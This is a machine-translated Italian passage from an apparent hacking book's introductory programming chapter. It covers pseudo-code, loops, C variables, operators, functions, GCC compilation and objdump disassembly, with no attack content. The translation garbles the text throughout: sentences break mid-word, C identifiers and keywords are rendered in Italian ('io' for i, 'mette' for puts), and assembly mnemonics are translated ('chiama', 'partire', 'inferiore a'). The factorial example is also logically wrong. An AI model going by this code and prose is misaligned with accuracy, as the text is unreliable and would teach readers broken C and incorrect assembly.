è scritto in linguaggio assembly x 86, deve essere riscritto per funzionare su Sparc
architettura. Inoltre, per scrivere un programma efficace in assembly
lingua, devi ancora conoscere molti dettagli di basso livello dell'archiviazione del processore
lezione per la quale stai scrivendo.
Questi problemi possono essere mitigati da un'altra forma di traduttore chiamata
un compilatore. Un compilatore converte un linguaggio di alto livello in linguaggio macchina.
I linguaggi di alto livello sono molto più intuitivi del linguaggio assembly e
può essere convertito in molti diversi tipi di linguaggio macchina per differenti
architetture del processore ent. Ciò significa che se un programma è scritto in alta
livello di lingua, il programma deve essere scritto solo una volta; lo stesso pezzo di
il codice del programma può essere compilato in linguaggio macchina per varie specifiche
architetture. C, C ++ e Fortran sono tutti esempi di linguaggi di alto livello.
Un programma scritto in un linguaggio di alto livello è molto più leggibile e
Simile all'inglese rispetto al linguaggio assembly o al linguaggio macchina, ma deve ancora
seguire regole molto rigide su come sono formulate le istruzioni o
piler non sarà in grado di capirlo.

0x220 Pseudo-codice
I programmatori hanno ancora un'altra forma di linguaggio di programmazione chiamato
pseudo-codice. Lo pseudo-codice è semplicemente inglese organizzato con una struttura generale
simile a un linguaggio di alto livello. Non è compreso da compilatori, assemblatori,
o qualsiasi computer, ma è un modo utile per un programmatore di organizzare le istruzioni
zioni. Lo pseudo-codice non è ben definito; infatti, la maggior parte delle persone scrive pseudo-codice
leggermente diverso. È una sorta di nebuloso collegamento mancante tra inglese e
linguaggi di programmazione di alto livello come C. Lo pseudo-codice è un eccellente
ha fornito un'introduzione ai concetti comuni di programmazione universale.

Programmazione 7

Pagina 22

0x230 Strutture di controllo


Senza strutture di controllo, un programma sarebbe solo una serie di istruzioni
eseguito in ordine sequenziale. Questo va bene per programmi molto semplici, ma la maggior parte
programmi, come l'esempio delle indicazioni stradali, non sono così semplici. Il driv-
le indicazioni stradali includevano affermazioni come, Continua su Main Street finché non vedi a
chiesa sulla destra e se la strada è bloccata a causa dei lavori. . . . Questi
le istruzioni sono note come strutture di controllo e modificano il flusso di
l'esecuzione del programma da un semplice ordine sequenziale a un più complesso e
flusso più utile.

0x231 If-Then-Else
Nel caso delle nostre indicazioni stradali, Main Street potrebbe essere in costruzione.
Se lo è, una serie speciale di istruzioni deve affrontare quella situazione. Altrimenti,
seguire il set originale di istruzioni. Questi tipi di casi speciali
può essere rappresentato in un programma con uno dei controlli più naturali
strutture: la struttura if-then-else . In generale, assomiglia a questo:

Se (condizione) allora
{
Insieme di istruzioni da eseguire se la condizione è soddisfatta;
}
Altro
{
Insieme di istruzioni da eseguire se la condizione non è soddisfatta;
}

Per questo libro, verrà utilizzato uno pseudo-codice simile al C, quindi ogni istruzione lo farà
terminare con un punto e virgola e le serie di istruzioni verranno raggruppate con ricci
parentesi graffe e rientranza. La struttura dello pseudo-codice if-then-else del pre-
cedere le indicazioni stradali potrebbe essere simile a questo:

Percorri Main Street;


Se (la strada è bloccata)
{
Svoltare a destra in 15th Street;
Svoltare a sinistra in Pine Street;
Svoltare a destra in 16th Street;
}
Altro
{
Svoltare a destra in 16th Street;
}

Ogni istruzione è su una propria riga e le varie serie di condizionali


le istruzioni sono raggruppate tra parentesi graffe e rientrate per la leggibilità.
In C e in molti altri linguaggi di programmazione, la parola chiave then è implicita e
quindi tralasciato, quindi è stato omesso anche nello pseudo-codice precedente.

8 0x200

Pagina 23

Ovviamente, altri linguaggi richiedono la parola chiave then nella loro sintassi—
BASIC, Fortran e persino Pascal, per esempio. Questi tipi di sintattici
le differenze nei linguaggi di programmazione sono solo superficiali; il sottostante
la struttura è sempre la stessa. Una volta che un programmatore comprende i concetti
questi linguaggi stanno cercando di trasmettere, imparando le varie variabili sintattiche
azioni è abbastanza banale. Poiché C verrà utilizzato nelle sezioni successive, lo pseudo-
il codice usato in questo libro seguirà una sintassi simile al C, ma ricordatelo
lo pseudo-codice può assumere molte forme.
Un'altra regola comune della sintassi C-like è quando un insieme di istruzioni
delimitato da parentesi graffe consiste in una sola istruzione, le parentesi graffe sono
opzionale. Per motivi di leggibilità, è comunque una buona idea farli rientrare
istruzioni, ma non è sintatticamente necessario. Le indicazioni stradali da
before può essere riscritto seguendo questa regola per produrre un pezzo equivalente di
pseudo-codice:

Percorri Main Street;


Se (la strada è bloccata)
{
Svoltare a destra in 15th Street;
Svoltare a sinistra in Pine Street;
Svoltare a destra in 16th Street;
}
Altro
Svoltare a destra in 16th Street;

Questa regola sui set di istruzioni vale per tutto il controllo


strutture menzionate in questo libro e la regola stessa può essere descritta in
pseudo-codice.

Se (c'è solo un'istruzione in una serie di istruzioni)


L'uso delle parentesi graffe per raggruppare le istruzioni è facoltativo;
Altro
{
È necessario l'uso di parentesi graffe;
Poiché ci deve essere un modo logico per raggruppare queste istruzioni;
}

Anche la descrizione di una sintassi stessa può essere considerata semplice


programma. Esistono variazioni di if-then-else, come istruzioni select / case,
ma la logica è ancora fondamentalmente la stessa: se questo accade fai queste cose, altrimenti
fare queste altre cose (che potrebbero consistere in ancora più istruzioni if-then).

0x232 While / Until loop


Un altro concetto di programmazione elementare è la struttura di controllo while,
che è un tipo di loop. Un programmatore vorrà spesso eseguire una serie di file
istruzioni più di una volta. Un programma può eseguire questa operazione tramite
looping, ma richiede una serie di condizioni che gli dica quando interrompere il loop,

Programmazione 9

Pagina 24

perché non continui all'infinito. Un ciclo while dice di eseguire il seguente insieme di
istruzioni in un ciclo mentre una condizione è vera. Un semplice programma per affamati
il mouse potrebbe assomigliare a questo:

Mentre (hai fame)


{
Trova del cibo;
Mangia il cibo;
}

Verrà ripetuta la serie di due istruzioni che seguono l'istruzione while


mentre il topo ha ancora fame. La quantità di cibo che il topo trova ciascuno
il tempo può variare da una minuscola briciola a un'intera pagnotta di pane. Allo stesso modo, il
numero di volte in cui viene eseguito il set di istruzioni nell'istruzione while
cambia a seconda di quanto cibo trova il topo.
Un'altra variazione del ciclo while è un ciclo until, ovvero una sintassi
disponibile nel linguaggio di programmazione Perl (il C non usa questa sintassi). Un
until loop è semplicemente un ciclo while con l'istruzione condizionale invertita. Il
lo stesso programma del mouse che utilizza un ciclo until sarebbe:

Fino a quando (non hai fame)


{
Trova del cibo;
Mangia il cibo;
}

Logicamente, qualsiasi istruzione until-like può essere convertita in un ciclo while.


Le indicazioni stradali di prima contenevano la dichiarazione Continua su
Main Street fino a quando non vedi una chiesa sulla tua destra. Questo può essere facilmente modificato in un file
ciclo while standard semplicemente invertendo la condizione.

Mentre (non c'è una chiesa sulla destra)


Percorri Main Street;

0x233 per i cicli


Un'altra struttura di controllo del ciclo è il ciclo for . Questo è generalmente usato quando
un programmatore desidera eseguire un ciclo per un certo numero di iterazioni. La guida
direzione Guidare verso il basso Destination Road per 5 miglia potrebbe essere convertito in
un ciclo for che assomiglia a questo:

Per (5 iterazioni)
Prosegui dritto per 1 miglio;

In realtà, un ciclo for è solo un ciclo while con un contatore. Lo stesso stato
ment può essere scritto come tale:

Imposta il contatore a 0;
Mentre (il contatore è inferiore a 5)

10 0x200

Pagina 25

{
Prosegui dritto per 1 miglio;
Aggiungi 1 al contatore;
}

La sintassi dello pseudo-codice simile al C di un ciclo for lo rende ancora di più


apparente:

Per (i = 0; i <5; i ++)


Prosegui dritto per 1 miglio;

In questo caso, il contatore viene chiamato i e l'istruzione for viene suddivisa


in tre sezioni, separate da punto e virgola. La prima sezione dichiara il
counter e lo imposta al suo valore iniziale, in questo caso 0. La seconda sezione è come
un'istruzione while utilizzando il contatore: mentre il contatore soddisfa questa condizione,
continua a girare. La terza e ultima sezione descrive quale dovrebbe essere l'azione
prese sul contatore durante ogni iterazione. In questo caso, i ++ è una scorciatoia
modo di dire, aggiungi 1 al contatore chiamato i .
Utilizzando tutte le strutture di controllo, le indicazioni stradali da pagina 6
può essere convertito in uno pseudo-codice simile a C che assomiglia a questo:

Inizia in direzione est su Main Street;


Mentre (non c'è una chiesa sulla destra)
Percorri Main Street;
Se (la strada è bloccata)
{
Svoltare a destra in 15th Street;
Svoltare a sinistra in Pine Street;
Svoltare a destra in 16th Street;
}
Altro
Svoltare a destra in 16th Street;
Svoltare a sinistra in Destination Road;
Per (i = 0; i <5; i ++)
Prosegui dritto per 1 miglio;
Fermati a 743 Destination Road;

0x240 Concetti di programmazione più fondamentali


Nelle sezioni seguenti verranno trattati concetti di programmazione più universali
introdotto. Questi concetti sono usati in molti linguaggi di programmazione, con
alcune differenze sintattiche. Man mano che introduco questi concetti, li integrerò
in esempi di pseudo-codice usando la sintassi C-like. Alla fine, lo pseudo-
il codice dovrebbe essere molto simile al codice C.

0x241 Variabili
Il contatore utilizzato nel ciclo for è in realtà un tipo di variabile. Una variabile può
essere semplicemente pensato come un oggetto che contiene dati che possono essere modificati -
da qui il nome. Ci sono anche variabili che non cambiano, che sono giustamente

Programmazione 11

Pagina 26

chiamate costanti . Tornando all'esempio di guida, la velocità dell'auto lo farebbe


essere una variabile, mentre il colore dell'auto sarebbe una costante. In pseudo-
code, le variabili sono semplici concetti astratti, ma in C (e in molti altri
lingue), le variabili devono essere dichiarate e assegnate un tipo prima che possano essere
Usato. Questo perché un programma C alla fine verrà compilato in un file eseguibile
programma tagliabile. Come una ricetta di cucina che elenca tutti gli ingredienti richiesti
prima di dare le istruzioni, le dichiarazioni di variabili consentono di fare
arazioni prima di entrare nel vivo del programma. In definitiva, tutte le variabili
sono archiviati in memoria da qualche parte e le loro dichiarazioni consentono al compilatore
per organizzare questa memoria in modo più efficiente. Alla fine però, nonostante tutto
le dichiarazioni di tipo variabile, tutto è solo memoria.
In C, a ogni variabile viene assegnato un tipo che descrive le informazioni che sono
pensato per essere memorizzato in quella variabile. Alcuni dei tipi più comuni sono int
(valori interi), float ( valori a virgola mobile decimale) e char (carattere singolo
valori acter). Le variabili vengono dichiarate semplicemente utilizzando queste parole chiave prima
elencando le variabili, come puoi vedere di seguito.

int a, b;
float k;
char z;

Le variabili a e b sono ora definiti come numeri interi, k possono accettare floating
valori in punti (come 3.14) e z dovrebbe contenere un valore di carattere, come A
o w . Alle variabili possono essere assegnati valori quando vengono dichiarate o in qualsiasi momento
in seguito, utilizzando l' operatore = .

int a = 13, b;
float k;
char z = 'A';

k = 3,14;
z = 'w';
b = a + 5;

Dopo aver eseguito le seguenti istruzioni, la variabile a conterrà


il valore di 13, k conterrà il numero 3.14, z conterrà il carattere w ,
e b conterrà il valore 18, poiché 13 più 5 è uguale a 18. Le variabili sono semplici
un modo per ricordare i valori; tuttavia, con C, devi prima dichiararli tutti
tipo di variabile.

0x242 Operatori aritmetici


L'istruzione b = a + 7 è un esempio di un operatore aritmetico molto semplice.
In C, i seguenti simboli vengono utilizzati per varie operazioni aritmetiche.
Le prime quattro operazioni dovrebbero sembrare familiari. Riduzione modulo maggio
sembra un nuovo concetto, ma in realtà sta solo prendendo il resto dopo aver diviso
sion. Se a è 13, allora 13 diviso 5 è uguale a 2, con un resto di 3, che
significa che a% 5 = 3 . Inoltre, dal momento che le variabili a e b sono numeri interi, i

12 0x200
Pagina 27

L'istruzione b = a / 5 risulterà nel valore di 2 memorizzato in b , poiché è


la parte intera di esso. Le variabili a virgola mobile devono essere utilizzate per mantenere il file
risposta più corretta di 2.6.

Operazione Esempio di simbolo

Aggiunta + b=a+5

Sottrazione - b=a-5

Moltiplicazione * b=a*5

Divisione / b=a/5

Riduzione modulo% b = a% 5

Per fare in modo che un programma utilizzi questi concetti, è necessario parlare la sua lingua. Il
Il linguaggio C fornisce anche diverse forme di abbreviazione per queste operazioni aritmetiche
azioni. Uno di questi è stato menzionato in precedenza ed è usato comunemente nei cicli for.

Abbreviazione di espressione completa Spiegazione

io = io + 1 i ++ o ++ i Aggiungi 1 alla variabile.

io = io - 1 i-- o --i Sottrai 1 dalla variabile.

Queste espressioni stenografiche possono essere combinate con altre operazioni aritmetiche
operazioni per produrre espressioni più complesse. È qui che le differenze
diventa evidente tra i ++ e ++ i . La prima espressione significa
Incrementa il valore di i di 1 dopo aver valutato l'operazione aritmetica , mentre il
seconda espressione significa Incrementa il valore di i di 1 prima di valutare il
operazione aritmetica . Il seguente esempio aiuterà a chiarire.

int a, b;
a = 5;
b = a ++ * 6;

Alla fine di questo set di istruzioni, b conterrà 30 e a conterrà 6,


poiché l'abbreviazione di b = a ++ * 6; è equivalente alle seguenti dichiarazioni:

b = a * 6;
a = a + 1;

Tuttavia, se l'istruzione b = ++ a * 6; viene utilizzato, l'ordine dell'aggiunta


a una modifica, risultando nelle seguenti istruzioni equivalenti:

a = a + 1;
b = a * 6;

Poiché l'ordine è cambiato, in questo caso b conterrà 36 e a sarà ancora


contengono 6.

Programmazione 13

Pagina 28

Molto spesso nei programmi, le variabili devono essere modificate sul posto. Per
Ad esempio, potresti dover aggiungere un valore arbitrario come 12 a una variabile e
memorizzare il risultato di nuovo in quella variabile (ad esempio, i = i + 12 ). Questo
accade abbastanza comunemente che esiste anche una stenografia per questo.

Spiegazione abbreviata di espressione completa

io = io + 12 io + = 12 Aggiungi un valore alla variabile.

io = io - 12 io- = 12 Sottrai un valore dalla variabile.

io = io * 12 io * = 12 Moltiplica un valore per la variabile.

io = i / 12 io / = 12 Dividi un valore dalla variabile.

0x243 Operatori di confronto


Le variabili sono usate frequentemente nelle istruzioni condizionali del precedente
ha spiegato le strutture di controllo. Queste affermazioni condizionali si basano su alcuni
sorta di confronto. In C, questi operatori di confronto utilizzano una sintassi abbreviata
questo è abbastanza comune in molti linguaggi di programmazione.

Condizione Esempio di simbolo

Meno di < (a <b)

Più grande di > (a> b)

Minore o uguale a <= (a <= b)

Maggiore o uguale a >= (a> = b)

Uguale a == (a == b)

Non uguale a != (a! = b)

La maggior parte di questi operatori si spiega da sé; si noti tuttavia che il file
la stenografia per uguale a usa il doppio segno di uguale. Questa è una distinzione importante
zione, poiché il doppio segno di uguale viene utilizzato per testare l'equivalenza, mentre il singolo
il segno di uguale viene utilizzato per assegnare un valore a una variabile. L'affermazione a = 7 significa
Metti il ​valore 7 nella variabile a , mentre a == 7 significa Controlla per vedere se la variabile
a è uguale a 7 . (Alcuni linguaggi di programmazione come Pascal usano effettivamente : = for
assegnazione variabile per eliminare la confusione visiva.) Inoltre, notare che un file
punto esclamativo generalmente significa no . Questo simbolo può essere utilizzato da solo per
invertire qualsiasi espressione.

! (a <b) è equivalente a (a> = b)

Questi operatori di confronto possono anche essere concatenati usando brevi


mano per OR e AND.

Logica Simbolo Esempio

O || ((a <b) || (a <c))

E && ((a <b) &&! (a <c))

14 0x200

Pagina 29

L'istruzione di esempio costituita dalle due condizioni più piccole unite


con OR la ​logica si attiverà vero se a è minore di b , OR se a è minore di c . Allo stesso modo,
l'istruzione di esempio costituita da due confronti più piccoli uniti con
La logica AND si attiva se a è minore di b AND a non è minore di c . Questi
le istruzioni devono essere raggruppate tra parentesi e possono contenerne molte
diverse varianti.
Molte cose possono essere ridotte a variabili, operatori di confronto e
strutture di controllo. Tornando all'esempio del topo che cerca cibo,
la fame può essere tradotta in una variabile booleana vero / falso. Naturalmente, 1
significa vero e 0 significa falso.

Mentre (affamato == 1)
{
Trova del cibo;
Mangia il cibo;
}

Ecco un'altra scorciatoia usata da programmatori e hacker


spesso. C in realtà non ha operatori booleani, quindi qualsiasi valore diverso da zero lo è
considerato vero, e un'affermazione è considerata falsa se contiene 0. Infatti,
gli operatori di confronto restituiranno effettivamente un valore di 1 se il confronto è
true e un valore di 0 se è falso. Controllo per vedere se la variabile hungry
è uguale a 1 restituirà 1 se fame è uguale a 1 e 0 se fame è uguale a 0. Poiché il
programma utilizza solo questi due casi, l'operatore di confronto può essere eliminato
del tutto.

Mentre (affamato)
{
Trova del cibo;
Mangia il cibo;
}

Un programma per il mouse più intelligente con più input dimostra come confrontare
gli operatori figlio possono essere combinati con le variabili.

While ((hungry) &&! (Cat_present))


{
Trova del cibo;
Se (! (Food_is_on_a_mousetrap))
Mangia il cibo;
}

Questo esempio presuppone che ci siano anche variabili che descrivono la presenza
di un gatto e la posizione del cibo, con un valore di 1 per vero e 0 per falso.
Ricorda solo che qualsiasi valore diverso da zero è considerato vero e il valore 0
è considerato falso.

Programmazione 15

Pagina 30

Funzioni 0x244
A volte ci sarà una serie di istruzioni che il programmatore sa che farà
bisogno più volte. Queste istruzioni possono essere raggruppate in una
programma chiamato funzione . In altre lingue, le funzioni sono note come sub-
routine o procedure. Ad esempio, l'azione di trasformare un'auto in realtà
consiste in molte istruzioni più piccole: accendi il lampeggiante appropriato, lentamente
verso il basso, verificare la presenza di traffico in arrivo, girare il volante in modo appropriato
direzione e così via. Le indicazioni stradali dall'inizio di questo capitolo
occorrono parecchi giri; tuttavia, elencando ogni piccola istruzione per ogni
sarebbe noioso (e meno leggibile). Puoi passare variabili come argomenti
a una funzione per modificare il modo in cui opera la funzione. In questo caso,
la funzione è passata alla direzione della svolta.

Funzione Turn (variable_direction)


{
Attiva il blinker variable_direction;
Rallenta;
Controlla il traffico in arrivo;
mentre (c'è traffico in arrivo)
{
Fermare;
Guarda per il traffico in arrivo;
}
Gira il volante sulla variable_direction;
mentre (il turno non è completo)
{
if (velocità <5 mph)
Accelerare;
}
Riportare il volante nella posizione originale;
Disattiva il lampeggiatore variable_direction;
}

Questa funzione descrive tutte le istruzioni necessarie per effettuare una svolta. quando
un programma che conosce questa funzione deve essere attivato, può semplicemente chiamarlo
funzione. Quando la funzione viene chiamata, le istruzioni che si trovano al suo interno sono
eseguito con gli argomenti passati ad esso; in seguito, l'esecuzione torna a
dove si trovava nel programma, dopo la chiamata alla funzione. Può la sinistra o la destra
essere passato in questa funzione, che fa sì che la funzione si trasformi in quella
direzione.
Per impostazione predefinita in C, le funzioni possono restituire un valore a un chiamante. Per coloro
familiarità con le funzioni in matematica, questo ha perfettamente senso. Immagina un file
funzione che calcola il fattoriale di un numero, naturalmente restituisce
risultato.
In C, le funzioni non sono etichettate con una parola chiave "funzione"; invece, loro
sono dichiarati dal tipo di dati della variabile che stanno restituendo. Questo formato
sembra molto simile alla dichiarazione delle variabili. Se una funzione deve restituire un file

16 0x200

Pagina 31

intero (forse una funzione che calcola il fattoriale di un numero x ),


la funzione potrebbe assomigliare a questa:

int fattoriale (int x)


{
int i;
per (i = 1; i <x; i ++)
x * = i;
return x;
}

Questa funzione è dichiarata come un numero intero perché moltiplica ogni valore
da 1 a x e restituisce il risultato, che è un numero intero. La dichiarazione di ritorno
alla fine della funzione restituisce il contenuto della variabile x e termina
la funzione. Questa funzione fattoriale può quindi essere utilizzata come una variabile intera
nella parte principale di qualsiasi programma che lo sappia.

int a = 5, b;
b = fattoriale (a);

Alla fine di questo breve programma, la variabile b conterrà 120, poiché


la funzione fattoriale verrà chiamata con l'argomento 5 e restituirà 120.
Anche in C, il compilatore deve “conoscere” le funzioni prima di poterle usare
loro. Questo può essere fatto semplicemente scrivendo l'intera funzione prima di usarla
più avanti nel programma o utilizzando prototipi di funzioni. Un prototipo di funzione è
semplicemente un modo per dire al compilatore di aspettarsi una funzione con questo nome, this
restituisce il tipo di dati e questi tipi di dati come argomenti funzionali. L'attuale
può essere posizionata vicino alla fine del programma, ma può essere utilizzata
dove altro, dal momento che il compilatore lo sa già. Un esempio di una funzione
Il prototipo di azione per la funzione factorial () sarebbe simile a questo:

int fattoriale (int);

Di solito, i prototipi di funzione si trovano vicino all'inizio di un programma.


Non è necessario definire effettivamente alcun nome di variabile nel prototipo, da allora
questo viene fatto nella funzione effettiva. L'unica cosa che interessa al compilatore è
il nome della funzione, il tipo di dati di ritorno e i tipi di dati della sua funzione
argomenti.
Se una funzione non ha alcun valore da restituire, dovrebbe essere dichiarata void ,
come nel caso della funzione turn () che ho usato come esempio in precedenza. Però,
la funzione turn () non cattura ancora tutte le funzionalità che la nostra guida
bisogno di indicazioni. Ogni svolta nelle direzioni ha sia una direzione che una strada
nome. Ciò significa che una funzione di rotazione dovrebbe avere due variabili: il
la direzione in cui svoltare e la strada in cui svoltare. Ciò complica la funzione
di svolta, poiché la strada corretta deve essere individuata prima che la svolta possa essere
fatto. Viene elencata una funzione di svolta più completa che utilizza una sintassi simile a quella del C
sotto in pseudo-codice.

Programmazione 17

Pagina 32

void turn (variable_direction, target_street_name)


{
Cerca un segnale stradale;
current_intersection_name = leggi il nome del segnale stradale;
while (nome_intersezione_attuale! = nome_strada_obiettivo)
{
Cerca un altro segnale stradale;
current_intersection_name = leggi il nome del segnale stradale;
}

Attiva il blinker variable_direction;


Rallenta;
Controlla il traffico in arrivo;
mentre (c'è traffico in arrivo)
{
Fermare;
Guarda per il traffico in arrivo;
}
Gira il volante sulla variable_direction;
mentre (il turno non è completo)
{
if (velocità <5 mph)
Accelerare;
}
Riportare il volante nella posizione originale;
Disattiva il lampeggiatore variable_direction;
}

Questa funzione include una sezione che cerca l'incrocio corretto


cercando segnali stradali, leggendo il nome su ogni segnale stradale e memorizzando
quel nome in una variabile chiamata nome_intersezione_corrente . Continuerà a farlo
cercare e leggere i segnali stradali fino a trovare la strada di destinazione; a quel punto, il
verranno eseguite le restanti istruzioni di svolta. Lo pseudo codice di guida
è ora possibile modificare le istruzioni per utilizzare questa funzione di rotazione.

Inizia in direzione est su Main Street;


mentre (non c'è una chiesa sulla destra)
Percorri Main Street;
se (la strada è bloccata)
{
Svolta (a destra, 15a strada);
Svolta (a sinistra, Pine Street);
Svolta (a destra, 16th Street);
}
altro
Svolta (a destra, 16th Street);
Svolta (a sinistra, strada di destinazione);
per (i = 0; i <5; i ++)
Prosegui dritto per 1 miglio;
Fermati a 743 Destination Road;

18 0x200

Pagina 33

Le funzioni non sono comunemente usate nello pseudo-codice, poiché lo pseudo-codice lo è


utilizzato principalmente come un modo per i programmatori di abbozzare concetti di programma prima
scrivere codice compilabile. Poiché lo pseudo-codice non deve funzionare effettivamente,
le funzioni complete non hanno bisogno di essere scritte, semplicemente annotando Fanno alcune
cose complesse qui saranno sufficienti. Ma in un linguaggio di programmazione come C, functions
sono usati pesantemente. La maggior parte della reale utilità di C deriva dalle raccolte di
funzioni esistenti chiamate librerie .

0x250 Sporcarsi le mani


Ora che la sintassi di C sembra più familiare e alcuni programmi fondamentali-
I concetti di ming sono stati spiegati, in realtà la programmazione in C non è così grande
di un passo. I compilatori C esistono praticamente per ogni sistema operativo e processore
architettura là fuori, ma per questo libro, Linux e un processore basato su x 86
sarà utilizzato esclusivamente. Linux è un sistema operativo gratuito che tutti hanno
l'accesso a, e processori basati su x 86 sono i più diffusi di livello consumer
processore sul pianeta. Dal momento che l'hacking riguarda davvero la sperimentazione, lo è
probabilmente è meglio se hai un compilatore C da seguire.
Incluso in questo libro c'è un LiveCD che puoi usare per seguire se il tuo
il computer ha un processore x 86. Basta inserire il CD nell'unità e riavviare
il tuo computer. Si avvierà in un ambiente Linux senza modificare il tuo
sistema operativo esistente. Da questo ambiente Linux puoi seguire
insieme al libro e sperimenta da solo.
Andiamo subito al punto. Il programma firstprog.c è un semplice pezzo di codice C.
che stamperà "Hello, world!" 10 volte.

firstprog.c

#include <stdio.h>

int main ()
{
int i;
for (i = 0; i <10; i ++) // Ripeti 10 volte.
{
mette ("Ciao, mondo! \ n"); // inserisce la stringa nell'output.
}
return 0; // Indica al sistema operativo che il programma è stato chiuso senza errori.
}

L'esecuzione principale di un programma C inizia nel nome appropriato main ()


funzione. Qualsiasi testo che segue due barre ( // ) è un commento, ovvero
ignorato dal compilatore.
La prima riga può creare confusione, ma è solo la sintassi C che dice al computer
piler per includere le intestazioni per una libreria standard di input / output (I / O) denominata
stdio .Questo file di intestazione viene aggiunto al programma quando viene compilato. È
si trova in /usr/include/stdio.h, e definisce diverse costanti e funzioni
prototipi di azione per le funzioni corrispondenti nella libreria I / O standard.
Poiché la funzione main () utilizza la funzione printf () dall'I / O standard

Programmazione 19
Pagina 34

libreria, è necessario un prototipo di funzione per printf () prima che possa essere utilizzato.
Questo prototipo di funzione (insieme a molti altri) è incluso in stdio.h
file di intestazione. Gran parte della potenza di C deriva dalla sua estensibilità e dalle librerie.
Il resto del codice dovrebbe avere senso e assomigliare molto allo pseudo-codice
da prima. Potresti anche aver notato che c'è una serie di parentesi graffe che
può essere eliminato. Dovrebbe essere abbastanza ovvio cosa farà questo programma, ma
compiliamolo usando GCC ed eseguiamolo solo per essere sicuri.
La GNU Compiler Collection (GCC) è un compilatore C gratuito che traduce C
in un linguaggio macchina comprensibile da un processore. Il trans-
lation è un file binario eseguibile, chiamato per impostazione predefinita a.out . Fa il
programma compilato fare quello che pensavi che sarebbe?

reader @ hacking: ~ / booksrc $ gcc firstprog.c


lettore @ hacking: ~ / booksrc $ ls -l a.out
-rwxr-xr-x 1 lettore lettore 6621 2007-09-06 22:16 a.out
lettore @ hacking: ~ / booksrc $ ./a.out
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
Ciao mondo!
lettore @ hacking: ~ / booksrc $

0x251 L'immagine più grande


Ok, questa è stata tutta roba che avresti imparato in una programmazione elementare
classe: di base, ma essenziale. La maggior parte delle lezioni introduttive alla programmazione insegna
come leggere e scrivere C. Non fraintendermi, essere fluente in C è molto utile
ed è sufficiente per fare di te un programmatore decente, ma è solo una parte del
quadro più ampio. La maggior parte dei programmatori impara la lingua dall'alto verso il basso
e non vedere mai il quadro generale. Gli hacker traggono vantaggio dal sapere come funzionano tutti
i pezzi interagiscono all'interno di questo quadro più ampio. Per vedere l'immagine più grande in
regno della programmazione, è sufficiente rendersi conto che il codice C è pensato per essere compilato.
Il codice non può effettivamente fare nulla finché non viene compilato in un eseguibile
file binario. Pensare al C-source come a un programma è un'idea sbagliata comune
che viene sfruttato dagli hacker ogni giorno. Le istruzioni del binario a.out sono
scritto in linguaggio macchina, un linguaggio elementare che la CPU può
In piedi. I compilatori sono progettati per tradurre il linguaggio del codice C in macchina
linguaggio per una varietà di architetture di processori. In questo caso, il processore
è in una famiglia che utilizza l' architettura x 86. Sono presenti anche processori Sparc
architetture (utilizzate in Sun Workstation) e l'archiviazione del processore PowerPC
itecture (utilizzato nei Mac pre-Intel). Ogni architettura ha una macchina diversa
language, quindi il compilatore funge da via di mezzo, traducendo il codice C in
linguaggio macchina per l'architettura di destinazione.

20 0x200

Pagina 35

Finché il programma compilato funziona, il programmatore medio lo è


si occupa solo del codice sorgente. Ma un hacker si rende conto che il file compilato
è ciò che viene effettivamente eseguito nel mondo reale. Con una migliore
comprensione di come funziona la CPU, un hacker può manipolare il
grammi che funzionano su di esso. Abbiamo visto il codice sorgente del nostro primo programma e
lo ha compilato in un binario eseguibile per l' architettura x 86. Ma cosa fa
questo aspetto binario eseguibile? Gli strumenti di sviluppo GNU includono un programma
gram chiamato objdump , che può essere usato per esaminare i binari compilati. Andiamo
inizia guardando il codice macchina in cui è stata tradotta la funzione main () .

lettore @ hacking: ~ / booksrc $ objdump -D a.out | grep -A20 principale .:


08048374 <main>:
8048374: 55 push% ebp
8048375: 89 e5 mov% esp,% ebp
8048377: 83 ec 08 inferiore a $ 0x8,% esp
804837a: 83 e4 f0 e $ 0xfffffff0,% esp
804837d: b8 00 00 00 00 mov $ 0x0,% eax
8048382: 29 c4 sotto% eax,% esp
8048384: c7 45 fc 00 00 00 00 movl $ 0x0,0xfffffffc (% ebp)
804838b: 83 7d fc 09 cmpl $ 0x9,0xfffffffc (% ebp)
804838f: 7e 02 jle 8048393 <principale + 0x1f>
8048391: eb 13 jmp 80483a6 <main + 0x32>
8048393: c7 04 24 84 84 04 08 movl $ 0x8048484, (% esp)
804839a: e8 01 ff ff ff chiama 80482a0 <printf @ plt>
804839f: 8d 45 fc lea 0xfffffffc (% ebp),% eax
80483a2: ff 00 incl (% eax)
80483a4: eb e5 jmp 804838b <main + 0x17>
80483a6: c9 partire
80483a7: c3 ret
80483a8: 90 nop
80483a9: 90 nop
80483aa: 90 nop
lettore @ hacking: ~ / booksrc $

Il programma objdump sputerà troppe righe di output in


esaminare in modo ragionevole, quindi l'output viene reindirizzato a grep con la riga di comando
opzione per visualizzare solo 20 righe dopo l'espressione regolare main . : . Ogni byte
è rappresentato in notazione esadecimale , che è un sistema di numerazione in base 16. Il
sistema di numerazione con cui hai più familiarità usa un sistema in base 10, poiché in
10 è necessario aggiungere un simbolo in più. Esadecimale utilizza da 0 a 9 a
rappresentano da 0 a 9, ma utilizza anche da A a F per rappresentare i valori
Da 10 a 15. Questa è una notazione conveniente poiché un byte contiene 8 bit, ciascuno
di cui può essere vero o falso. Ciò significa che un byte ha 256 (2 8 ) possibili
valori, quindi ogni byte può essere descritto con 2 cifre esadecimali.
I numeri esadecimali, che iniziano con 0x8048374 all'estrema sinistra, sono
indirizzi di memoria. I bit delle istruzioni in linguaggio macchina devono essere
mettere da qualche parte, e questo da qualche parte si chiama memoria . La memoria è solo una
raccolta di byte di spazio di archiviazione temporaneo numerati con
indirizzi.

Programmazione 21

Pagina 36

Come una fila di case in una strada locale, ognuna con il proprio indirizzo, la propria memoria
può essere pensato come una riga di byte, ciascuno con il proprio indirizzo di memoria. Ogni
è possibile accedere al byte di memoria tramite il suo indirizzo, e in questo caso la CPU
accede a questa parte della memoria per recuperare le istruzioni in linguaggio macchina
che compongono il programma compilato. I vecchi processori Intel x 86 utilizzano un 32 bit
schema di indirizzamento, mentre quelli più recenti ne usano uno a 64 bit. I processori a 32 bit
hanno 2 32 (o 4.294.967.296) indirizzi possibili, mentre quelli a 64 bit ne hanno 2 64
(1.84467441 × 10 19 ) indirizzi possibili. I processori a 64 bit possono essere eseguiti in
Modalità di compatibilità a 32 bit, che consente loro di eseguire rapidamente codice a 32 bit.
I byte esadecimali al centro dell'elenco sopra sono la macchina
istruzioni in lingua per il processore x 86. Ovviamente questi valori esadecimali
sono solo rappresentazioni dei byte di 1 e 0 binari che la CPU può
